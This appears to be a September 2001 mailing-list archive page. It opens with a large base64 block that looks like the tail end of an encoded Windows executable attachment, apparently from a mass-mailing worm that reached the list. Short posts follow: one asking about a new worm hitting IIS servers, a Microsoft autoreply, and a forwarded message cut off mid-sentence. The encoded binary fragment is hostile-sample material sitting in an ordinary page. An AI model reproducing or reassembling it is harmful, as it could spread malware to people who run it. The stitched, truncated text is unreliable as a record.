SHxm//Rmfm////93eAAAAMaHZszGbu5v////93gAAAAMZnzMxubm//////94AAAAAMbMzMxub/z/ ///3eAAAAACAZmZmZv/2////d4gAAAAAgP//Zm//YP//93iIAAAAAID///9mZv///3eIiAAAAACA //////////gAAAAAAAAAgP/////////4B3iAAAAAAID/////////+HeIAAAAAACA//////////h4 gAAAAAAAgP/////////4iAAAAAAAAIAAAAAAAAAACIAAAAAAAACIiIiIiIiIiIgAAAAA//////wA AAP8AAAD/AAAA/0AAAP9AAAD4QAAA8wAAAPMAAADiAAAA4AAAAOAAAADgAAAA4AAAAOAAAADwAAA A8AAAAPgAAAD4AAAA/AAAAP4AAAD/AAAA/0AAAP9ABAD/QAAA/0AAAP9AACH/QAAD/0AAB/9AAA/ /f/+f/wAAP8oAAAAIAAAAEAAAAABAAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAA gAAAAICAAIAAAACAAIAAgIAAAMDAwADA3MAA8MqmAAQEBAAICAgADAwMABEREQAWFhYAHBwcACIi IgApKSkAVVVVAE1NTQBCQkIAOTk5AIB8/wBQUP8AkwDWAP/szADG1u8A1ufnAJCprQAAADMAAABm AAAAmQAAAMwAADMAAAAzMwAAM2YAADOZAAAzzAAAM/8AAGYAAABmMwAAZmYAAGaZAABmzAAAZv8A AJkAAACZMwAAmWYAAJmZAACZzAAAmf8AAMwAAADMMwAAzGYAAMyZAADMzAAAzP8AAP9mAAD/mQAA /8wAMwAAADMAMwAzAGYAMwCZADMAzAAzAP8AMzMAADMzMwAzM2YAMzOZADMzzAAzM/8AM2YAADNm MwAzZmYAM2aZADNmzAAzZv8AM5kAADOZMwAzmWYAM5mZADOZzAAzmf8AM8wAADPMMwAzzGYAM8yZ ADPMzAAzzP8AM/8zADP/ZgAz/5kAM//MADP//wBmAAAAZgAzAGYAZgBmAJkAZgDMAGYA/wBmMwAA ZjMzAGYzZgBmM5kAZjPMAGYz/wBmZgAAZmYzAGZmZgBmZpkAZmbMAGaZAABmmTMAZplmAGaZmQBm mcwAZpn/AGbMAABmzDMAZsyZAGbMzABmzP8AZv8AAGb/MwBm/5kAZv/MAMwA/wD/AMwAmZkAAJkz mQCZAJkAmQDMAJkAAACZMzMAmQBmAJkzzACZAP8AmWYAAJlmMwCZM2YAmWaZAJlmzACZM/8AmZkz AJmZZgCZmZkAmZnMAJmZ/wCZzAAAmcwzAGbMZgCZzJkAmczMAJnM/wCZ/wAAmf8zAJnMZgCZ/5kA mf/MAJn//wDMAAAAmQAzAMwAZgDMAJkAzADMAJkzAADMMzMAzDNmAMwzmQDMM8wAzDP/AMxmAADM ZjMAmWZmAMxmmQDMZswAmWb/AMyZAADMmTMAzJlmAMyZmQDMmcwAzJn/AMzMAADMzDMAzMxmAMzM mQDMzMwAzMz/AMz/AADM/zMAmf9mAMz/mQDM/8wAzP//AMwAMwD/AGYA/wCZAMwzAAD/MzMA/zNm AP8zmQD/M8wA/zP/AP9mAAD/ZjMAzGZmAP9mmQD/ZswAzGb/AP+ZAAD/mTMA/5lmAP+ZmQD/mcwA /5n/AP/MAAD/zDMA/8xmAP/MmQD/zMwA/8z/AP//MwDM/2YA//+ZAP//zABmZv8AZv9mAGb//wD/ ZmYA/2b/AP//ZgAhAKUAX19fAHd3dwCGhoYAlpaWAMvLywCysrIA19fXAN3d3QDj4+MA6urqAPHx 8QD4+PgA8Pv/AKSgoACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAoKCgoKCgoKCgoK CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK6xISEhISEhISEhISEhISEhISEhISEhISCgoKCgoK CgrrvLy8vLy8vLy8vLy8vLy8vLy8vLy8vBIKCgoKCgoKCuvz8/Pz8/Mb8xsbGxsbGxsbGxsbGxu8 EgoKCgoKCgoK6wr09PTz9PMbG/Mb8xsbGxsbGxsbG7wSCgoKCgoKCgrrCvb09vTz9PPzG/Mb8xvz GxsbGxsbvBIKCgoKCgSnp6cK9Pb09vTz9PTz8/Mb8xvzGxsbGxu8EgoKCgoEpwoK66cKhaeKioqK 8/Tz9PPz8xvzGxsbG7wSCgoKCgSnCgoKCqeLrM7Ozs6KivTz9PMb8xvzGxsbvBIKCgrrpwQKZoan i87Ozs7Ozs7OivTz9PMb8xsbGxu8EgoKCuqtpmaFp4vOzqysrM7Ozs7OivTz8/MbGxsbG7wSCgoK 6gOthqeLrM6s9vb2p87OzrLOivTz8/MbGxsbvBIKCgrqc86nhovOrPb29vb2hc6ystOK8/TzG/Mb Gxu8EgoKCut0A62ni86s9vb29vb29vb29vP08/TzG/MbG7wSCgoK65l0z4uszqysrKysrKysrKys rPT09PPz8xsbvBIKCgoK65ntrM7Ozs7OzrOzs9PT09Os9vTz9PMb8xu8EgoKCgqnc5rOzqysrKys rKysrNnZ06z09PTz8/MbG7wSCgoKCgqGkaDOrKz29vb29oWs6NnTrPb09PTz8/MbvBIKCgoKCqeG kaDOrKz29vaFrLPh6Kz29Pb08/TzGxu8EgoKCgoKCqestO+srKenp6yz2ejTrPb29PT08/PzG7wS CgoKCgoKCqesrLvOzs7Os9Oz06z29vT29PT08/PzvBIKCgoKCgoKCqeszs7Ozs7Os9Os9vbO9vT2 9PTz87wHEgoKCgoKCgoK6wqsrKysrKysrPb29qz29vT09PO8B5ISCgoKCgoKCgrrCvb29vasrKz2 9vasCvb09vTzvAeSkhIKCgoKCgoKCusK9vb29vb2rKysrPb29vb087wHkpLrEgoKCgoKCgoK6wr2 9vb29vb29vb29vb29vYSQ0NDQ0NDCgoKCgoKCgrrCvb29vb29vb29vb29vb29pIKG7ySEgoKCgoK CgoKCusK9vb29vb29vb29vb29vb2khu8khIKCgoKCgoKCgoK6wr29vb29vb29vb29vb29vaSvJIS CgoKCgoKCgoKCgrrCvb29vb29vb29vb29vb29pKSEgoKCgoKCgoKCgoKCusKCgoKCgoKCgoKCgoK CgoKkhIKCgoKCgoKCgoKCgoK6+zs7Ozs7Ozs7Ozs7Ozs7OzsCgoKCgoKCgr//////AAAA/wAAAP8 AAAD/QAAA/0AAAPhAAADzAAAA8wAAAOIAAADgAAAA4AAAAOAAAADgAAAA4AAAAPAAAADwAAAA+AA AAPgAAAD8AAAA/gAAAP8AAAD/QAAA/0AEAP9AAAD/QAAA/0AAIf9AAAP/QAAH/0AAD/9//5//AAA /ygAAAAwAAAAYAAAAAEACAAAAAAAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAA gAAAAIAAgACAgAAAwMDAAMDcwADwyqYABAQEAAgICAAMDAwAERERABYWFgAcHBwAIiIiACkpKQBV VVUATU1NAEJCQgA5OTkAgHz/AFBQ/wCTANYA/+zMAMbW7wDW5+cAkKmtAAAAMwAAAGYAAACZAAAA zAAAMwAAADMzAAAzZgAAM5kAADPMAAAz/wAAZgAAAGYzAABmZgAAZpkAAGbMAABm/wAAmQAAAJkz AACZZgAAmZkAAJnMAACZ/wAAzAAAAMwzAADMZgAAzJkAAMzMAADM/wAA/2YAAP+ZAAD/zAAzAAAA MwAzADMAZgAzAJkAMwDMADMA/wAzMwAAMzMzADMzZgAzM5kAMzPMADMz/wAzZgAAM2YzADNmZgAz ZpkAM2bMADNm/wAzmQAAM5kzADOZZgAzmZkAM5nMADOZ/wAzzAAAM8wzADPMZgAzzJkAM8zMADPM /wAz/zMAM/9mADP/mQAz/8wAM///AGYAAABmADMAZgBmAGYAmQBmAMwAZgD/AGYzAABmMzMAZjNm AGYzmQBmM8wAZjP/AGZmAABmZjMAZmZmAGZmmQBmZswAZpkAAGaZMwBmmWYAZpmZAGaZzABmmf8A ZswAAGbMMwBmzJkAZszMAGbM/wBm/wAAZv8zAGb/mQBm/8wAzAD/AP8AzACZmQAAmTOZAJkAmQCZ AMwAmQAAAJkzMwCZAGYAmTPMAJkA/wCZZgAAmWYzAJkzZgCZZpkAmWbMAJkz/wCZmTMAmZlmAJmZ mQCZmcwAmZn/AJnMAACZzDMAZsxmAJnMmQCZzMwAmcz/AJn/AACZ/zMAmcxmAJn/mQCZ/8wAmf// AMwAAACZADMAzABmAMwAmQDMAMwAmTMAAMwzMwDMM2YAzDOZAMwzzADMM/8AzGYAAMxmMwCZZmYA zGaZAMxmzACZZv8AzJkAAMyZMwDMmWYAzJmZAMyZzADMmf8AzMwAAMzMMwDMzGYAzMyZAMzMzADM zP8AzP8AAMz/MwCZ/2YAzP+ZAMz/zADM//8AzAAzAP8AZgD/AJkAzDMAAP8zMwD/M2YA/zOZAP8z zAD/M/8A/2YAAP9mMwDMZmYA/2aZAP9mzADMZv8A/5kAAP+ZMwD/mWYA/5mZAP+ZzAD/mf8A/8wA AP/MMwD/zGYA/8yZAP/MzAD/zP8A//8zAMz/ZgD//5kA///MAGZm/wBm/2YAZv//AP9mZgD/Zv8A //9mACEApQBfX18Ad3d3AIaGhgCWlpYAy8vLALKysgDX19cA3d3dAOPj4wDq6uoA8fHxAPj4+ADw +/8ApKCgAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8ACgoKCgoKCgoKCgoKCgoKCgoK CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgrrEhISEhISEhISEhISEhISEhIS EhISEhISEhISEhISEhISEhISCgoKCgoKCgoKCgrrEhISEhISEhISEhISEhISEhISEhISEhISEhIS EhISEhISEhISCgoKCgoKCgoKCgrrvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vBIS CgoKCgoKCgoKCgrr8/Pz8/Pz8/Pz8xvz8xsbGxsbGxsbGxsbGxsbGxsbGxsbvBISCgoKCgoKCgoK Cgrr8/Pz8/Pz8/Pz8xvz8xsbGxsbGxsbGxsbGxsbGxsbGxsbvBISCgoKCgoKCgoKCgrrCgr09PT0 9PP09PMbGxvz8xvz8xsbGxsbGxsbGxsbGxsbvBISCgoKCgoKCgoKCgrrCgr09PT09PP09PMbGxvz 8xvz8xsbGxsbGxsbGxsbGxsbvBISCgoKCgoKCgoKCgrrCgr29PT29vTz8/Tz8/MbG/MbG/MbG/Pz GxsbGxsbGxsbvBISCgoKCgoKBASnp6enCgr09vb09Pb09PP09PTz8/Pz8xvz8xsb8xsbGxsbGxsb vBISCgoKCgoKBASnp6enCgr09vb09Pb09PP09PTz8/Pz8xvz8xsb8xsbGxsbGxsbvBISCgoKCgoE p6cKCgrrp6cKhYWnp4qKioqKivP09PP09PPz8/PzG/PzGxsbGxsbvBISCgoKCgoEp6cKCgoKCgqn i4usrM7Ozs7OzoqKivTz8/Tz8xsb8xsb8xsbGxsbvBISCgoK6+unBAQKZmaGp6eLzs7Ozs7Ozs7O zs7Ozor09PP09PPzG/PzGxsbGxsbvBISCgoK6+unBAQKZmaGp6eLzs7Ozs7Ozs7Ozs7Ozor09PP0 9PPzG/PzGxsbGxsbvBISCgoK6uqtpqZmhYWni4vOzs6srKysrM7Ozs7Ozs6KivTz8/Pz8xsbGxsb GxsbvBISCgoK6uoDra2Gp6eLrKzOrKz29vb29qfOzs7OzrLOzor09PPz8/PzGxsbGxsbvBISCgoK 6upzzs6nhoaLzs6s9vb29vb29vaFhc6ysrLT04rz8/T08xsb8xsbGxsbvBISCgoK6upzzs6nhoaL zs6s9vb29vb29vaFhc6ysrLT04rz8/T08xsb8xsbGxsbvBISCgoK6+t0AwOtp6eLzs6s9vb29vb2 9vb29vb29vb29vP09PPz9PPzG/PzGxsbvBISCgoK6+uZdHTPi4uszs6srKysrKysrKysrKysrKys rKz09PT09PPz8/PzGxsbvBISCgoKCgrrmZntrKzOzs7Ozs7Ozs6zs7Ozs9PT09PT06z29vT08/T0 8xsb8xsbvBISCgoKCgrrmZntrKzOzs7Ozs7Ozs6zs7Ozs9PT09PT06z29vT08/T08xsb8xsbvBIS CgoKCgqnc3Oazs7OrKysrKysrKysrKysrKzZ2dnT06z09PT09PPz8/PzGxsbvBISCgoKCgqnc3Oa zs7OrKysrKysrKysrKysrKzZ2dnT06z09PT09PPz8/PzGxsbvBISCgoKCgoKhoaRoKDOrKys9vb2 9vb29vaFhazo6NnT06z29vT09PT08/Pz8xsbvBISCgoKCgoKp6eGkZGgzs6srKz29vb29oWsrLPh 4eisrPb09Pb29PPz9PPzGxsbvBISCgoKCgoKp6eGkZGgzs6srKz29vb29oWsrLPh4eisrPb09Pb2 9PPz9PPzGxsbvBISCgoKCgoKCgqnrKy07++srKynp6enp6yzs9no6NOsrPb29vT09PT08/Pz8xsb vBISCgoKCgoKCgoKp6esrKy7zs7Ozs7OzrPT07PT06z29vb09Pb29PT09PPz8/PzvBISCgoKCgoK CgoKCgqnrKzOzs7Ozs7Ozs6zs9OsrPb29s729vT09vT09PPz87y8BxISCgoKCgoKCgoKCgqnrKzO zs7Ozs7Ozs6zs9OsrPb29s729vT09vT09PPz87y8BxISCgoKCgoKCgoKCgrrCgqsrKysrKysrKys rKz29vb29qz29vb29PT09PPzvAcHkhISCgoKCgoKCgoKCgrrCgr29vb29vasrKysrPb29vasrAr2 9vT09vT087y8B5KSkhISCgoKCgoKCgoKCgrrCgr29vb29vb29vasrKysrKz29vb29vb29PPzvAcH kpKS6xISCgoKCgoKCgoKCgrrCgr29vb29vb29vasrKysrKz29vb29vb29PPzvAcHkpKS6xISCgoK CgoKCgoKCgrrCgr29vb29vb29vb29vb29vb29vb29vb29hISQ0NDQ0NDQ0NDCgoKCgoKCgoKCgrr Cgr29vb29vb29vb29vb29vb29vb29vb29pKSChsbvJKSEgoKCgoKCgoKCgoKCgrrCgr29vb29vb2 9vb29vb29vb29vb29vb29pKSChsbvJKSEgoKCgoKCgoKCgoKCgrrCgr29vb29vb29vb29vb29vb2 9vb29vb29pKSG7y8khISCgoKCgoKCgoKCgoKCgrrCgr29vb29vb29vb29vb29vb29vb29vb29pKS vJKSEgoKCgoKCgoKCgoKCgoKCgrrCgr29vb29vb29vb29vb29vb29vb29vb29pKSkhISCgoKCgoK CgoKCgoKCgoKCgrrCgr29vb29vb29vb29vb29vb29vb29vb29pKSkhISCgoKCgoKCgoKCgoKCgoK CgrrCgr29vb29vb29vb29vb29vb29vb29vb29pKSkhISCgoKCgoKCgoKCgoKCgoKCgrrCgoKCgoK CgoKCgoKCgoKCgoKCgoKCgoKCpKSEgoKCgoKCgoKCgoKCgoKCgoKCgrr7Ozs7Ozs7Ozs7Ozs7Ozs 7Ozs7Ozs7Ozs7OzsCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK CgoKCgoK////////SUz/AAAAAAdGSf8AAAAAB3hF/wAAAAAHAEn/AAAAAAdfTf8AAAAAB0Ux/2AA AAAHMUb/YAAAAAdfRv9gAAAAB1Vf4GAAAAAHeEXgYAAAAAcASccAAAAAB19DxwAAAAAHeEUEAAAA AAcASQQAAAAAB19DAAAAAAAHTEwAAAAAAAcxAAAAAAAAB0VEAAAAAAAHWQAAAAAAAAcAAQAAAAAA B0RJwAAAAAAHMHjAAAAAAAcAAMAAAAAAB1RfwAAAAAAHeEXgAAAAAAcASeAAAAAAB19Q4AAAAAAH eEX4AAAAAAcASfwAAAAAB19Q/wAAAAAHSU7/AAAAAAcyNv9gAAAAB19F/2AACAAHU1T/YAAAAAdJ Qf9gAAAABzI3/2AAAAAHX0X/YAAACB9QRf9gAAAIHzEy/2AAAAA/RF//YAAAAP9FUP9gAAAB/3hF /2AAAAH/AEn/YAAAAf9fU/9////H/0FM/wAAAA//MkH///////9fRf///////0RPKAAAACAAAABA AAAAAQABAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8AAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///// /AAAA/3///v9///7/f//+/3///vh///7zAH/+8wAf/uIAD/7gAAf+4A4T/ugfO/7oH//+7AAD/vY D+/72ADv++x87/vmOd/78wPf+/iHv/v8A2/7/QDv+/3x3/v9/D/z/f/+A/3///f9///v/f//3/3/ /7/9//9//f///05QQUQAAAEABQAQEBAAAQAEACgBAAABACAgEAABAAQA6AIAAAIAICAAAAEACACo CAAAAwAwMAAAAQAIAKgOAAAEACAgAgABAAEAMAEAAAUAUEFERElOR1hYUEFERElOR1BBRERJTkdY WFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQ QURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQ QURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFE RElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFE RElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJ TkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJ TkdQQURESU5HWAAQAAA0AQAAJTBDMFEwXzBtMJwwqDDnMPYwCjEVMSYxZzGGMaAx2DHvMQcyaTJz MoEylDKxMsIy/DJJM1YzZDNzM58zETQZNG00mDThNGk1gDXKNeM1+jURNlk2fjaJNp42yjYCNx83 LjdIN3s3nDeoN7E3xjfRN+43/TcdOD44SjhgOGU4qDi2OMk42jj/OBY5ITlAOVc5kzm4Oc459TkB OiE6WzpkOm86kjqkOr86yDrfOvA6CDsZO087VTtrO387iTudO7k7xjvhOwo8gTyWPKM8ujzePO48 Jj0yPTg9RT1PPV49aj2JPac90j33PQw+Ij4pPi4+RT5ePo8+nT6/PtA+1T7ePuk+8z76Phc/Hz8p PzA/NT9AP00/VD9dP3w/gj+JP5U/oz+vP80/1j/eP+0/ACAAAPgBAAACMBAwHzAnMC8wQzCGMJEw oTCqML4wzzDkMOow9zD8MAExCjERMRoxITEqMTExOjFBMUoxWTFxMXYxfTGdMbIxvzHxMScySzKa MqAysjLEMgAzLTM0M1MzYTO0M/gz/zMZNC40OTQ/NFE0WTRjNG80dTR8NIU0izSoNK40xzTXNNw0 7DTxNAE1BjUXNRw1LDUxNUQ1STVaNV81cDV1NYU1ijWaNZ81rzW0Ncc1zDXcNeE18TX2NQY2CzYc Niw2MTZENkk2WTZeNm82gDaQNpU2pTaqNr02wjbSNtc25zbsNvw2ATcRNxY3JjcrNz43QzdTN1g3 aDdtN303gjeSN5c3pzesN783xDfUN9k36TfuN/43AzgTOBg4KDgtOEA4RThVOFo4ajhvOH84hDiU OJk4qTiuOME4xjjWONs46zjwOAA5BTkVORo5KjkvOUI5RzlXOVw5bDlxOYE5hjmWOZs5rDmyObc5 vTnCOcc50jnYOd454znoOfY5/DoJOzg7QTtfO2g7djt/O5c7ozvEO/Y7EzxUPGQ8pjzZPP08DD0c PTQ9ij2SPbM9uT2/PcU90T3cPeI96T3vPQU+Mj5VPn4+iT6nPrw+xj7NPtQ+2z7iPuk+8D73Pv4+ BT8MPxM/Gj8hPyg/Lz9RP1g/cT/pP/A/ADAAADwBAAAJMBwwJzAzMD8wWDB9MIQwGzGgMbEx0jHn MR0yPDJXMnQyrzLGMtcy6jIwM0kzazN+M8UzyzPhM/Mz/TMPNCs0NjRCNFU0ezSLNMw07DQMNSw1 PjVQNWI1cTWjNbI1vTXWNeM16TUuNjQ2SDZnNm42fTaDNqU2zTbiNvs2Hjc/N1E3VjehN643uDe+ N9436DcDOA04EzgbOCE4LTg6OEY4TDhxOMI45Tj4OAY5GTkyOUQ5TzlUOVo5bTl2OYk5jzmnObE5 yzneOfk5DjodOjI6GjskO5k7Gjw1PD88TTxgPGY8eTyPPJ48pTy0PNY85jz1PP08Az0SPRg9Mj1P PWg9hT2PPZU9rD2+PeU99j0OPiI+LD5APlE+Vz5pPnY+kT66PgE/Jj82P1c/dT+jP8g/9j8AAABA AABYAgAAGTAuMDswUjB2MIYwtTC/MMUwyzAyMTcxPTFRMVcxZDFvMXYxfzGZMbQxxDHVMeox7zEA MisyMDI2MkEyVTJgMoEynDKlMqwy3zLvMvYyLjM/M1YzXDNrM4QzjTOrM7Yz0jPpM/AzDDQSNCQ0 OTRLNGE0djSDNIk0njSrNNQ02jTkNPU0+zQCNRY1LjU3NUo1UDV1NXs1kzWpNbA1wTXSNdg14zXx NRQ2RjZrNqY24DYSNzc3fTeIN443tze9N9U36jfvNxA4LTg0OEE4TjhnOHc4fzieOK44tDjVONw4 6DjuOAU5EjkgOSg5LTk8OUQ5UDlYOWQ5bDl5OX85ijmTOao5tjnKOdM55jkiOjM6PTpCOks6Vzpc OmQ6aTpvOnY6ezqBOog6jTqTOpo6nzqlOq06szq6OsA6xzrMOtI62TreOuQ66zrwOvY6/ToCOwg7 DzsWOxw7IzsoOzE7PztHO0w7VTtcO2Q7aTtvO3Y7ezuBO4g7jTuTO5o7nzulO6w7sTu6O8E7yTvO O9Q72zvgO+Y77TvyO/g7/zsEPAo8ETwWPBw8IzwoPC48NTw6PEM8TjxWPFs8YTxoPG08czx6PH88 hTyMPJE8lzyePKM8qTywPLU8uzzCPMc8zTzUPNk83zzmPOs88Tz4PP08Az0KPQ89FT0cPSE9Jz0u PTM9OT1APUU9Sz1SPVc9XT1kPWk9bz12PXs9gT2IPY09kz2aPZ89pT2sPbE9tz2+Pck90D3cPeg9 9D0APhw+Lj5KPnY+yj7QPug+FT8uP0o/XD9tPwBQAAA8AQAAOjBFMFoweDCYMNAw7TD9MAsxGjEp MUQxezGqMbcxzzHlMfQxBjIVMiYyNzJNMmQyijKZMqcyrTLEMs8y1zISMxgzKjMHNCE0KjRANEY0 TzSgNNU04zT6NAs1LTVCNVI1WzVvNXk1pzWyNco10zXcNQ42FDYmNkk2UzZlNoA2izakNtY2EDcw N2I3kDeiN643tDfnN/Y3ETgXOCU4OjhFOFI4CDkOOSo5NzlQOXA5sjm4OcI50zntOfk5AjoTOjc6 PTpGOk46WDphOm06dTp8Oo46lDqdOsQ67ToDOzs7TDtvO4k7mjvQO+07AzwOPE48WTxrPLI8Dj1O PXk9qT3vPfU9Cz4aPis+MT5RPl4+Zj5sPnc+kj6aPqU+5T4RPx0/NT8+P1c/Xz9wP5k/uj/EP/U/ AAAAYAAApAEAABow2jDgMPwwHjE0MU4xVzGbMaExqzHDMWIyezKUMv8yFjMuM14zZDNrM4MzlDOa M6IzsTPTM9kz3zPuM/4zBDQPNDE0NzRCNEg0VjReNGU0ajRwNIY0jTSUNK80ujTANNI03zTnNPY0 AjUpNT41RjVSNVo1aTV2NXw1hzWQNZ01ozWoNa41tDW5Nb818jX5NQQ2ITZuNpM2uzbENsk2zzbW Nts26jbwNvw2BDcJNyk3NTdYN203eDeGN5A3njeoN7M3vjfcN+E35zfyN/g3CTgVOBo4OzhGOEs4 UjhXOF04YziBOJc4ozitOLc4zzjrOPo4BDkZOSA5RjlMOVs5ZDl2OYA5kjmkOao5tTnFOeU59DkA OgY6EDovOoc6lTrGOgY7DjsWOyg7ODs+O207hjujO7w7AjwTPCE8Ljw5PEA8XzxxPH88ljycPKI8 uTzHPNw84TzmPOw8+DwGPSs9MT15PZE9lz2uPeM98D0GPhU+Vj5cPnI+eD6BPqM+sz67PtQ+Gz8j Pzs/Qj9NP1Q/ej+FP5Q/rD+3P+4/AAAAcAAAmAAAABMwdjB+MJcwnTCiMMcwzTDgMO4w9TD7MAEx BzEgMScxNDFLMWQxajF+MZgxqDHRMSMyQjJgMnQykzKxMuoyATMZMyUzNzNJM3QzezODM4kzjjOT M8UzyzPRM9cz5jPsM/Iz+DP+MwQ0EjQaNCA0KzQ4NEA0TjRTNFg0XTRoNHU0fzSUNKA0pjTINNo0 NjVSNQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA= --====_ABC1234567890DEF_==== From roselli at earthlink.net Tue Sep 18 10:19:12 2001 From: roselli at earthlink.net (aardvark) Date: Tue Sep 18 10:19:12 2001 Subject: [thelist] another worm? Message-ID: <200109181519.f8IFJBVW010738@leo.evolt.org> ok, a few of our clients were hit this morning by something that tries to get your browser (on windows) to download a .eml file which it would then launch via an .exe... i can't get to any virus sites, since all web traffic coming and going is pretty hosed right now... so, is there a new worm out there? the IIS servers affected were *supposedly* patched against the last batch... anyone? From mcphelp at microsoft.com Tue Sep 18 10:31:43 2001 From: mcphelp at microsoft.com (MCPHelp@microsoft.com) Date: Tue Sep 18 10:31:43 2001 Subject: [thelist] MCP Acknowledgement Message-ID: <200109181531.f8IFVfVW011388@leo.evolt.org> Your message addressed to MCP at msprograms.com has been received. Please note that as of August 27, 2001, our support alias has changed to MCPHelp at microsoft.com. Please make a note of this change for future reference. You may expect to receive a reply to your message within 24 business hours (our hours of operation are 5:00a.m. to 5:00 p.m. USA-PST, Monday through Friday). If your message is of an urgent nature please feel free to call us at 1-800-636-7544 in the United States and Canada. Outside of the United States and Canada, please contact your local Microsoft Certified Professional service center. You can find your local service center on our website at http://www.microsoft.com/training/worldsites Thank you for emailing the Microsoft Certified Professional program. Regards, MCPHelp at microsoft.com From mail at richardinfo.com Tue Sep 18 10:32:55 2001 From: mail at richardinfo.com (Richard Bennett) Date: Tue Sep 18 10:32:55 2001 Subject: [fwd] Re: [thelist] Site not available? - Update References: <0037f1623171191BUNSON@bunson.webservepro.com> Message-ID: <047b01c140a1$fcd22f70$0100a8c0@wwwv7zwbf035xj> hi, <. Try using the providers (gofast.net) Indeed, these seem to work well. <> appears to be behind a firewall which is hiding 